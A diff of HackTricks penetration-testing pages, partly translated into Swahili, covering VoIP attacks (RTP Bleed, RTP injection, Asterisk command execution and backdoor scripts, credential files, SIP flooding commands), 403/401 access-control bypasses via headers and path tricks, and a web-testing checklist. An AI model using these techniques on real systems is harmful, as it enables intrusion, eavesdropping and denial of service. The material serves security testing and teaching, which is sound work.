RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya wahusika wawili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za RTP IP na bandari zinazopatikana kupitia ishara (mfano: SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na port tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuweka alama IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "learning mode", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprokwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita udhaifu huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea RTP media streams ambazo zinapaswa kutumwa kwa watumiaji halali.
|
||||
|
||||
Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama hazina udhaifu wa RTP Bleed**, zitakubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingiza pakiti za RTP zisizo halali katika mtiririko wa RTP uliopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho.
|
||||
Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama hazina udhaifu wa RTP Bleed**, wata **kubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote**. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingiza pakiti za RTP zisizo halali katika mtiririko wa RTP uliopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho.
|
||||
|
||||
Asterisk na FreePBX kwa kawaida wamekuwa wakitumia **`NAT=yes` setting**, ambayo inaruhusu trafiki ya RTP kupita uthibitisho, ambayo inaweza kusababisha kutokuwa na sauti au sauti ya upande mmoja kwenye simu.
|
||||
|
||||
|
@ -582,47 +590,47 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ikiwa seva inakataza **matumizi ya wahusika fulani** katika amri ya **`System`** (kama ilivyo katika Elastix), angalia ikiwa seva ya wavuti inaruhusu **kuunda faili kwa namna fulani ndani ya mfumo** (kama ilivyo katika Elastix au trixbox), na itumie ku **unda script ya backdoor** na kisha tumia **`System`** ili **kutekeleza** hiyo **script**.
|
||||
If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**.
|
||||
{% endhint %}
|
||||
|
||||
#### Faili za ndani za kuvutia na ruhusa
|
||||
#### Fail za ndani na ruhusa
|
||||
|
||||
* **`sip.conf`** -> Inashikilia nenosiri la watumiaji wa SIP.
|
||||
* **`sip.conf`** -> Inayo nenosiri la watumiaji wa SIP.
|
||||
* Ikiwa **seva ya Asterisk inafanya kazi kama root**, unaweza kuathiri root
|
||||
* **mtumiaji wa mysql root** huenda **hana nenosiri lolote**.
|
||||
* hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama backdoor
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Inashikilia nenosiri la msimamizi wa paneli ya wavuti (FreePBX)
|
||||
* **`FreePBX.conf`** -> Inashikilia nenosiri la mtumiaji FreePBXuser anayetumika kufikia hifadhidata
|
||||
* **`amportal.conf`** -> Inayo nenosiri la msimamizi wa paneli ya wavuti (FreePBX)
|
||||
* **`FreePBX.conf`** -> Inayo nenosiri la mtumiaji FreePBXuser anayetumika kufikia hifadhidata
|
||||
* hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama backdoor
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Inashikilia nenosiri kadhaa katika maandiko wazi kama nenosiri la mysql root, nenosiri la IMAPd, nenosiri la msimamizi wa wavuti
|
||||
* **Makaratasi kadhaa** yatakuwa ya mtumiaji aliyeathiriwa wa asterisk (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia anadhibiti usanidi, hivyo anaweza kufanya Asterisk kupakia binaries nyingine zenye backdoor wakati inatekelezwa.
|
||||
* **`Elastix.conf`** -> Inayo nenosiri kadhaa katika maandiko wazi kama nenosiri la mysql root, nenosiri la IMAPd, nenosiri la msimamizi wa wavuti
|
||||
* **Folda kadhaa** zitakuwa za mtumiaji aliyeathiriwa wa asterisk (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia anadhibiti usanidi, hivyo anaweza kufanya Asterisk kupakia binaries zingine zenye backdoor wakati zinapotekelezwa.
|
||||
|
||||
### RTP Injection
|
||||
|
||||
Inawezekana kuingiza **`.wav`** katika mazungumzo kwa kutumia zana kama **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) na **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
|
||||
Au unaweza kutumia scripts kutoka [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) ili **kuchanganua mazungumzo** (**`rtpscan.pl`**), kutuma `.wav` kwa mazungumzo (**`rtpsend.pl`**) na **kuingiza kelele** katika mazungumzo (**`rtpflood.pl`**).
|
||||
Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
|
||||
Kuna njia kadhaa za kujaribu kufikia DoS katika seva za VoIP.
|
||||
There are several ways to try to achieve DoS in VoIP servers.
|
||||
|
||||
* **`SIPPTS flood`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood inatuma ujumbe usio na kikomo kwa lengo.
|
||||
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* **`SIPPTS ping`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping inafanya ping ya SIP kuona muda wa majibu ya seva.
|
||||
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS itifaki ya IAX inayotumiwa na Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Zana ya kufanya flooding ya ujumbe wa SIP/SDP INVITE juu ya UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Tuma pakiti kadhaa za RTP zilizo na muundo mzuri. Inahitajika kujua bandari za RTP zinazotumiwa (sniff kwanza).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Inaruhusu kuchambua na kuunda trafiki ya SIP. hivyo inaweza kutumika pia kwa DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Kisu cha Uswisi cha SIP. Pia kinaweza kutumika kufanya mashambulizi ya SIP.
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### OS Vulnerabilities
|
||||
|
||||
Njia rahisi ya kufunga programu kama Asterisk ni kupakua **usambazaji wa OS** ambao tayari una hiyo imewekwa, kama: **FreePBX, Elastix, Trixbox**... Tatizo na hizo ni kwamba mara inapoanza kufanya kazi wasimamizi wa mfumo huenda **hawatazidishe tena** na **vulnerabilities** zitagundulika kwa muda.
|
||||
The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **not update them again** and **vulnerabilities** are going to be discovered with time.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -634,16 +642,24 @@ Njia rahisi ya kufunga programu kama Asterisk ni kupakua **usambazaji wa OS** am
|
|||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 403 & 401 Bypasses
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & upimaji wa uvamizi**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa pentest - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -25,9 +27,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
* Angalia vichwa vya majibu, labda taarifa fulani zinaweza kutolewa. Kwa mfano, **jibu la 200** kwa **HEAD** na `Content-Length: 55` inamaanisha kwamba **kitenzi cha HEAD kinaweza kufikia taarifa**. Lakini bado unahitaji kupata njia ya kuhamasisha taarifa hiyo.
|
||||
* Angalia vichwa vya majibu, labda taarifa fulani zinaweza kutolewa. Kwa mfano, **jibu la 200** kwa **HEAD** lenye `Content-Length: 55` lina maana kwamba **kitenzi cha HEAD kinaweza kufikia taarifa**. Lakini bado unahitaji kupata njia ya kuhamasisha taarifa hiyo.
|
||||
* Kutumia kichwa cha HTTP kama `X-HTTP-Method-Override: PUT` kunaweza kubadilisha kitenzi kilichotumika.
|
||||
* Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza pia kuona **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
|
||||
* Tumia **`TRACE`** kitenzi na ikiwa uko na bahati kubwa labda katika jibu unaweza pia kuona **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
|
||||
|
||||
## HTTP Headers Fuzzing
|
||||
|
||||
|
@ -49,20 +51,20 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE,
|
|||
* `X-ProxyUser-Ip: 127.0.0.1`
|
||||
* `Host: localhost`
|
||||
|
||||
Ikiwa **njia imehifadhiwa** unaweza kujaribu kupita ulinzi wa njia kwa kutumia vichwa hivi vingine:
|
||||
Ikiwa **njia imekingwa** unaweza kujaribu kupita kinga ya njia kwa kutumia vichwa hivi vingine:
|
||||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Ikiwa ukurasa uko **nyuma ya proxy**, labda ni proxy inayokuzuia kufikia taarifa za kibinafsi. Jaribu kutumia [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **au** [**vichwa vya hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**vichwa maalum vya HTTP**](special-http-headers.md) ukitafuta majibu tofauti.
|
||||
* **Fuzz vichwa maalum vya HTTP** wakati wa fuzzing **HTTP Methods**.
|
||||
* **Ondoa kichwa cha Host** na labda utaweza kupita ulinzi.
|
||||
* **Ondoa kichwa cha Host** na labda utaweza kupita kinga hiyo.
|
||||
|
||||
## Path **Fuzzing**
|
||||
|
||||
Ikiwa _/path_ imezuiwa:
|
||||
|
||||
* Jaribu kutumia _**/**_**%2e/path \_(ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita ulinzi). Jaribu pia**\_\*\* /%252e\*\*/path (kuandika tena URL mara mbili)
|
||||
* Jaribu kutumia _**/**_**%2e/path \_(ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita kinga). Jaribu pia**\_\*\* /%252e\*\*/path (kuandika URL mara mbili)
|
||||
* Jaribu **Unicode bypass**: _/**%ef%bc%8f**path_ (Herufi zilizowekwa URL ni kama "/") hivyo wakati zimeandikwa tena itakuwa _//path_ na labda tayari umepita ukaguzi wa jina _/path_
|
||||
* **Njia nyingine za kupita**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
|
@ -102,7 +104,7 @@ Ikiwa _/path_ imezuiwa:
|
|||
|
||||
Ikiwa unatumia HTTP/1.1 **jaribu kutumia 1.0** au hata jaribu ikiwa **inasaidia 2.0**.
|
||||
|
||||
## **Other Bypasses**
|
||||
## **Njia nyingine za kupita**
|
||||
|
||||
* Pata **IP** au **CNAME** ya domain na jaribu **kuwasiliana nayo moja kwa moja**.
|
||||
* Jaribu **kushinikiza seva** kwa kutuma maombi ya kawaida ya GET ([Ilifanya kazi kwa mtu huyu na Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
|
@ -127,7 +129,7 @@ guest guest
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Zana za Moja
|
||||
## Zana za Otomatiki
|
||||
|
||||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||
|
@ -138,21 +140,23 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya otomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,19 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Basic Info
|
||||
|
||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za udhaifu** zipo.
|
||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za udhaifu tofauti** zipo.
|
||||
|
||||
**Default port:** 80 (HTTP), 443(HTTPS)
|
||||
**Port ya kawaida:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
|
@ -47,26 +49,26 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
> Katika mbinu hii tutadhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
|
||||
|
||||
* [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
|
||||
* [ ] Je, kuna **udhaifu unaojulikana** wa toleo la teknolojia hiyo?
|
||||
* [ ] Unatumia **teknolojia inayojulikana**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
|
||||
* [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
|
||||
* [ ] Kuna **udhaifu** wowote **ujulikanao** wa toleo la teknolojia hiyo?
|
||||
* [ ] Unatumia **teknolojia maarufu** yoyote? Kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi?
|
||||
* [ ] Kuna **scanner maalum** yoyote ya kukimbia (kama wpscan)?
|
||||
* [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skani** (ikiwa HTTPS).
|
||||
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS).
|
||||
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
|
||||
* [ ] **Brute-Forcing ya Directory**: Jaribu kujaribu nguvu zote za folda zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kujaribiwa kwa nguvu._
|
||||
* [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
|
||||
* [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala.
|
||||
* [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
|
||||
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia kwa kila aina ya **udhaifu** unaohusiana nayo.
|
||||
* [ ] Mara tu unapokuwa umeshawishi **kila** **endpoints** zinazokubali **ingizo la mtumiaji**, angalia kwa kila aina ya **udhaifu** unaohusiana nayo.
|
||||
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Toleo la Seva (Lina Udhihirisho?)
|
||||
## Toleo la Seva (Lina Udhaifu?)
|
||||
|
||||
### Tambua
|
||||
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
|
||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap skani** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Angalia kama kuna **udhaifu ujulikanao** kwa **toleo** la seva inayotumika.\
|
||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -83,7 +85,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
|||
|
||||
### Web tech tricks
|
||||
|
||||
Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** tofauti maarufu zinazotumika:
|
||||
Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maarufu zinazotumika:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -117,18 +119,18 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** tofa
|
